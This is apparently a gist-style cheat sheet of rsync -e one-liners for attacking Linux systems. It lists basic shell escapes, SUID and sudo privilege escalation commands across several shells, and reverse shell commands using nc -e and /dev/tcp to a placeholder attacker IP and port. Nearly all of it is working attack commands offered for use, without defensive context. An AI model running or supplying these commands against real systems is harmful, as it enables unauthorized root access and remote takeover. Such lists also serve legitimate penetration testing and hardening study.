RSync -e Examples

gistfile1.txt

# Basic Shell Escapes
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e 'bash -c "bash 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/bash -i' 127.0.0.1:/dev/null
rsync -e 'dash -c "dash 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/dash -i' 127.0.0.1:/dev/null
rsync -e 'zsh -c "zsh 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/zsh -i' 127.0.0.1:/dev/null
rsync -e 'ksh -c "ksh 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/ksh -i' 127.0.0.1:/dev/null
rsync -e 'busybox sh' 127.0.0.1:/dev/null
rsync -e 'busybox ash' 127.0.0.1:/dev/null
rsync -e 'fish -c "fish 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/usr/bin/fish -i' 127.0.0.1:/dev/null

# Abusing SUID with Different Shells
./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
./rsync -e 'bash -p -c "bash 0<&2 1>&2"' 127.0.0.1:/dev/null
./rsync -e 'zsh -p -c "zsh 0<&2 1>&2"' 127.0.0.1:/dev/null
./rsync -e 'ksh -p -c "ksh 0<&2 1>&2"' 127.0.0.1:/dev/null

# Abusing Sudo Permissions
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
sudo rsync -e 'bash -c "bash 0<&2 1>&2"' 127.0.0.1:/dev/null
sudo rsync -e 'zsh -c "zsh 0<&2 1>&2"' 127.0.0.1:/dev/null
sudo rsync -e 'sh -c "/bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null

# Using Netcat for Reverse Shells
rsync -e 'sh -c "nc -e /bin/sh attacker-ip attacker-port"' 127.0.0.1:/dev/null
rsync -e 'bash -c "bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1"' 127.0.0.1:/dev/null
rsync -e 'zsh -c "zsh -i >& /dev/tcp/attacker-ip/attacker-port 0>&1"' 127.0.0.1:/dev/null